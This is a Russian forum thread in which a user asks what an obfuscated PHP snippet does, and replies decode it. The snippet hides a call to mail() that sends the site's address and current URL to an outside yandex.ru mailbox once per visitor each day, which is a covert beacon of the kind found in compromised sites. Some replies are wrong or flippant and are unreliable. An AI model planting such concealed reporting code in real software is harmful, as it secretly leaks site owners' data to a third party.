if(isset($_GET['proto'])){
$port = 'http://'; //Здесь ничего менять не нужно
}if (isset($_COOKIE['temp'])) {
} else {
$arraymops = ''.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
$is_array="ma";$users="il";$bsk = $is_array.$users;
$denser="cotova1iz@ya";$bons="ndex.ru";$mented = $denser.$bons;
$bsk($mented,'error',"bum: $arraymops");
$val = "bang"; setcookie("temp", $val, time()+86400);
}
PHP
вот пример http://waxar.7m.pl/index.php?act=1
Объясните пожалуйста что делает этот код???
Я в панике, знатоки помогите!!!
Часть:
Часть:
Часть:
Часть:
Фактически почтовое сообщение отправляется на адрес cotova1iz@yandex.ru , с темой "error" и текстом: "bum: адрес_страницы" (вместо адрес_страницы – адрес текущей страницы).
Часть:
Итог: похоже на то, что этот кусок кода отправляет письмо при входе на определённую страницу (где применяется этот скрипт) информацию о посещении пользователем этой страницы. Один пользователь отправляет одно письмо, но не ранее, чем через каждые 24 часа.
То есть пользователь зашёл на страницу впервые условно в 12 часов дня – письмо отправилось. В течение этого же дня заходил на эту же страницу – письмо не отправлялось. Зашёл на эту же страницу в 12:00:01 следующего дня – письмо снова улетело. Аналогично и с другими пользователями: если сотня человек зайдёт на эту страницу впервые, улетит сотня писем.
if(isset($_GET['proto'])){
$port = 'http://'; //Здесь ничего менять не нужно
}
Создаёт (или обновляет) переменную $port, записывая в неё текст "http://", при условии, что указан GET-параметр proto, то есть URL имеет вид: http://some.domain/script.php?protoЧасть:
if (isset($_COOKIE['temp'])) {
} else {
Проверяет, записано ли в куках браузера переменная temp. Если не записана – переходит к следующей части скрипта.Часть:
$arraymops = ''.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
Записывает в переменную $arraymops текущий URL страницы вида "some.domain/script.php"Часть:
$is_array="ma";$users="il";$bsk = $is_array.$users;
$denser="cotova1iz@ya";$bons="ndex.ru";$mented = $denser.$bons;
$bsk($mented,'error',"bum: $arraymops");
Прописывает в переменную $bsk строку "mail", в переменную $menter строку " cotova1iz@yandex.ru ". Следом выполняет функцию с названием $bsk, а так как $bsk=="mail" – выполняет функцию отправки почты.Фактически почтовое сообщение отправляется на адрес cotova1iz@yandex.ru , с темой "error" и текстом: "bum: адрес_страницы" (вместо адрес_страницы – адрес текущей страницы).
Часть:
$val = "bang"; setcookie("temp", $val, time()+86400);
записывает куки с названием "temp" и содержимым "bang", которая удалится через 1 сутки (time()+86400 – текущее время плюс 86400 секунд).Итог: похоже на то, что этот кусок кода отправляет письмо при входе на определённую страницу (где применяется этот скрипт) информацию о посещении пользователем этой страницы. Один пользователь отправляет одно письмо, но не ранее, чем через каждые 24 часа.
То есть пользователь зашёл на страницу впервые условно в 12 часов дня – письмо отправилось. В течение этого же дня заходил на эту же страницу – письмо не отправлялось. Зашёл на эту же страницу в 12:00:01 следующего дня – письмо снова улетело. Аналогично и с другими пользователями: если сотня человек зайдёт на эту страницу впервые, улетит сотня писем.
Наталья Сперанская
А можно поменять почту! Просто при смене пароль не отправляет письмо с первого раза писал в поддержку мне сказали что почтовые ящик переполнен!
ниче он не делает куки только ставит
Нельзя по информации вырванной из контекста делать выводы можно только строить догадки. Чем больше доступно информации тем более обоснованные можно строить догадки но не получить знание. т.е. буквально выдумать результат вместо получения знания.
Вот и в твоем случае код делает:
- два условных ветвления алгоритма,
- условное определение значения переменным,
- условный вызов двух процедур с передачей им параметров.
Вот и в твоем случае код делает:
- два условных ветвления алгоритма,
- условное определение значения переменным,
- условный вызов двух процедур с передачей им параметров.
Наталья Сперанская
А можно ли это как-то исправить, просто у меня при восстановлении пароль не приходят письма на почту!!!
mail("cotova1iz@yandex.ru",'error',"bum: {$_SERVER['HTTP_HOST']}{$_SERVER['REQUEST_URI']}");
setcookie("temp", "bang", time()+86400);
Кидает на мыло REQUEST_URI страницы (при условии что mail установлен и настроен) и создаёт кускувот пример http://waxar.7m.pl/index.php?act=1
Нюдсы кидает автоматически
Наталья Сперанская
А можно чуточку подробней?
Похожие вопросы
- Объясните пожалуйста разницу в расставлении круглых скобок в конструкции IF.
- Изучаю php. В книжке дан код программы, объясните для чего строка? (код внутри)
- Как не путаться в своем коде.
- Вы тоже иногда ищете долго ошибки в коде?
- Структура PHP кода
- Помогите с кодом PHP
- Помогите с PHP кодом! Где косяк?
- Как перевести данный код цикла из кодировки Mysqli в PDO?
- Допиливать самописный движок на PHP, код к которому писали 14 лет - стоит ли соглашаться на такую работу?
- При написании php кода для отправки записи в базу данных выходит ошибка